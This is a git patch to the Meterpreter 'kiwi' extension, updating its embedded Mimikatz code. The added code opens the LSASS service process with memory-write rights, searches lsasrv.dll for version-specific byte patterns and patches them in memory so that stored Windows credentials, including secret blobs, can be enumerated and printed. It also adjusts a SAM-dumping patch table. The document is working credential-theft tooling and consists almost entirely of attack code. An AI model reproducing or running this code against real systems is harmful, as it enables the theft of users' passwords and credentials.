From 940c94e946520a37ecd043f09ed549ae88bd8e3c Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 8 Jul 2014 18:35:16 +1000 Subject: [PATCH] Update to Mimikatz commit 4e6f3e17587c849517e32cfc7f87fb01ee5b0ff3 --- .../kiwi/mimikatz/modules/kuhl_m_lsadump.c | 2 +- .../kiwi/mimikatz/modules/kuhl_m_vault.c | 135 ++++++++++++++---- .../kiwi/mimikatz/modules/kuhl_m_vault.h | 1 + 3 files changed, 106 insertions(+), 32 deletions(-) diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump.c index 833c8d71..23b54880 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_lsadump.c @@ -974,7 +974,7 @@ BYTE PTRN_WALL_SampQueryInformationUserInternal[] = {0x49, 0x8d, 0x41, 0x20}; BYTE PATC_WIN5_NopNop[] = {0x90, 0x90}; BYTE PATC_WALL_JmpShort[] = {0xeb, 0x04}; KULL_M_PATCH_GENERIC SamSrvReferences[] = { - {KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WIN5_NopNop), PATC_WIN5_NopNop}, {-17}}, + {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WIN5_NopNop), PATC_WIN5_NopNop}, {-17}}, {KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-21}}, {KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WALL_SampQueryInformationUserInternal), PTRN_WALL_SampQueryInformationUserInternal}, {sizeof(PATC_WALL_JmpShort), PATC_WALL_JmpShort}, {-24}}, }; diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_vault.c b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_vault.c index bdd23109..3ba9165f 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_vault.c +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_vault.c @@ -191,12 +191,15 @@ void CALLBACK kuhl_m_vault_list_descItem_PINLogonOrPicturePasswordOrBiometric(co if(enumItem8->Identity && (enumItem8->Identity->Type == ElementType_ByteArray)) { + kprintf(L"\t\tUser : "); if(kull_m_token_getNameDomainFromSID((PSID) enumItem8->Identity->data.ByteArray.Value, &name, &domain, NULL)) { kprintf(L"\t\tUser : %s\\%s\n", domain, name); LocalFree(name); LocalFree(domain); - } else PRINT_ERROR_AUTO(L"kull_m_token_getNameDomainFromSID"); + } + else kull_m_string_displaySID((PSID) enumItem8->Identity->data.ByteArray.Value); + kprintf(L"\n"); if(pGuidString->guid.Data1 == 0x0b4b8a12b) { @@ -349,12 +352,40 @@ void kuhl_m_vault_list_descItemData(PVAULT_ITEM_DATA pData) } } +#ifdef _M_X64 +BYTE PTRN_WNT5_CredpCloneCredential[] = {0x8b, 0x47, 0x04, 0x83, 0xf8, 0x01, 0x0f, 0x84}; +BYTE PTRN_WN60_CredpCloneCredential[] = {0x44, 0x8b, 0xea, 0x41, 0x83, 0xe5, 0x01, 0x75}; +BYTE PTRN_WN62_CredpCloneCredential[] = {0x44, 0x8b, 0xfa, 0x41, 0x83, 0xe7, 0x01, 0x75}; +BYTE PTRN_WN63_CredpCloneCredential[] = {0x45, 0x8b, 0xf8, 0x44, 0x23, 0xfa, 0x0f, 0x84}; +BYTE PATC_WNT5_CredpCloneCredentialJmpShort[] = {0x90, 0xe9}; +BYTE PATC_WN63_CredpCloneCredentialJmpShort[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; +BYTE PATC_WALL_CredpCloneCredentialJmpShort[] = {0xeb}; + +KULL_M_PATCH_GENERIC CredpCloneCredentialReferences[] = { + {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WNT5_CredpCloneCredential), PTRN_WNT5_CredpCloneCredential}, {sizeof(PATC_WNT5_CredpCloneCredentialJmpShort), PATC_WNT5_CredpCloneCredentialJmpShort}, {6}}, + {KULL_M_WIN_BUILD_VISTA,{sizeof(PTRN_WN60_CredpCloneCredential), PTRN_WN60_CredpCloneCredential}, {sizeof(PATC_WALL_CredpCloneCredentialJmpShort), PATC_WALL_CredpCloneCredentialJmpShort}, {7}}, + {KULL_M_WIN_BUILD_8, {sizeof(PTRN_WN62_CredpCloneCredential), PTRN_WN62_CredpCloneCredential}, {sizeof(PATC_WALL_CredpCloneCredentialJmpShort), PATC_WALL_CredpCloneCredentialJmpShort}, {7}}, + {KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN63_CredpCloneCredential), PTRN_WN63_CredpCloneCredential}, {sizeof(PATC_WN63_CredpCloneCredentialJmpShort), PATC_WN63_CredpCloneCredentialJmpShort}, {6}}, +}; +#elif defined _M_IX86 +BYTE PTRN_WNT5_CredpCloneCredential[] = {0x8b, 0x43, 0x04, 0x83, 0xf8, 0x01, 0x74}; +BYTE PTRN_WN60_CredpCloneCredential[] = {0x89, 0x4d, 0x18, 0x83, 0x65, 0x18, 0x01, 0x75}; +BYTE PTRN_WN62_CredpCloneCredential[] = {0x89, 0x45, 0xd8, 0x75}; +BYTE PTRN_WN63_CredpCloneCredential[] = {0x83, 0xe1, 0x01, 0x89, 0x4d, 0xe4, 0x75}; +BYTE PATC_WALL_CredpCloneCredentialJmpShort[] = {0xeb}; + +KULL_M_PATCH_GENERIC CredpCloneCredentialReferences[] = { + {KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WNT5_CredpCloneCredential), PTRN_WNT5_CredpCloneCredential}, {sizeof(PATC_WALL_CredpCloneCredentialJmpShort), PATC_WALL_CredpCloneCredentialJmpShort}, {6}}, + {KULL_M_WIN_BUILD_VISTA,{sizeof(PTRN_WN60_CredpCloneCredential), PTRN_WN60_CredpCloneCredential}, {sizeof(PATC_WALL_CredpCloneCredentialJmpShort), PATC_WALL_CredpCloneCredentialJmpShort}, {7}}, + {KULL_M_WIN_BUILD_8, {sizeof(PTRN_WN62_CredpCloneCredential), PTRN_WN62_CredpCloneCredential}, {sizeof(PATC_WALL_CredpCloneCredentialJmpShort), PATC_WALL_CredpCloneCredentialJmpShort}, {3}}, + {KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_WN63_CredpCloneCredential), PTRN_WN63_CredpCloneCredential}, {sizeof(PATC_WALL_CredpCloneCredentialJmpShort), PATC_WALL_CredpCloneCredentialJmpShort}, {6}}, +}; +#endif const PCWCHAR CredTypeToStrings[] = { L"?", L"generic", L"domain_password", L"domain_certificate", L"domain_visible_password", L"generic_certificate", L"domain_extended" }; - NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; @@ -362,35 +393,77 @@ NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) DWORD flags = 0; UNICODE_STRING creds; - do - { - if(CredEnumerate(NULL, flags, &credCount, &pCredential)) - { - for(i = 0; i < credCount; i++) - { - kprintf(L"TargetName : %s / %s\n" - L"UserName : %s\n" - L"Comment : %s\n" - L"Type : %u - %s\n" - L"Credential : ", - pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", - pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", - pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", - pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" - ); - creds.Buffer = (PWSTR) pCredential[i]->CredentialBlob; - creds.Length = creds.MaximumLength = (USHORT) pCredential[i]->CredentialBlobSize; - - if(kull_m_string_suspectUnicodeString(&creds)) - kprintf(L"%wZ", &creds); - else - kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); - kprintf(L"\n\n"); - } - CredFree(pCredential); - } - flags++; - } while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); + SERVICE_STATUS_PROCESS ServiceStatusProcess; + PKULL_M_MEMORY_HANDLE hMemory; + KULL_M_MEMORY_HANDLE hLocalMemory = { KULL_M_MEMORY_TYPE_OWN, NULL }; + KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; + HANDLE hSamSs; + KULL_M_MEMORY_ADDRESS aPatternMemory = { NULL, &hLocalMemory }, aPatchMemory = { NULL, &hLocalMemory }; + KULL_M_MEMORY_SEARCH sMemory; + PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; + static BOOL isPatching = FALSE; + if (!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) + { + if (CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, sizeof(CredpCloneCredentialReferences) / sizeof(KULL_M_PATCH_GENERIC), MIMIKATZ_NT_BUILD_NUMBER)) + { + aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; + aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; + if (kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) + { + if (hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) + { + if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) + { + if (kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) + { + sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; + sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; + isPatching = TRUE; + if (!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) + PRINT_ERROR_AUTO(L"kull_m_patch"); + isPatching = FALSE; + } + else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); + kull_m_memory_close(hMemory); + } + } + else PRINT_ERROR_AUTO(L"OpenProcess"); + } + else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); + } + } + else + { + do + { + if (CredEnumerate(NULL, flags, &credCount, &pCredential)) + { + for (i = 0; i < credCount; i++) + { + kprintf(L"TargetName : %s / %s\n" + L"UserName : %s\n" + L"Comment : %s\n" + L"Type : %u - %s\n" + L"Credential : ", + pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", + pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", + pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", + pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" + ); + creds.Buffer = (PWSTR)pCredential[i]->CredentialBlob; + creds.Length = creds.MaximumLength = (USHORT)pCredential[i]->CredentialBlobSize; + + if (kull_m_string_suspectUnicodeString(&creds)) + kprintf(L"%wZ", &creds); + else + kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); + kprintf(L"\n\n"); + } + CredFree(pCredential); + } + flags++; + } while ((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); + } return STATUS_SUCCESS; } diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_vault.h b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_vault.h index f9fc81bd..583f9193 100644 --- a/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_vault.h +++ b/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kuhl_m_vault.h @@ -7,6 +7,7 @@ #include "kuhl_m.h" #include "../modules/kull_m_string.h" #include "../modules/kull_m_token.h" +#include "../modules/kull_m_patch.h" const KUHL_M kuhl_m_vault;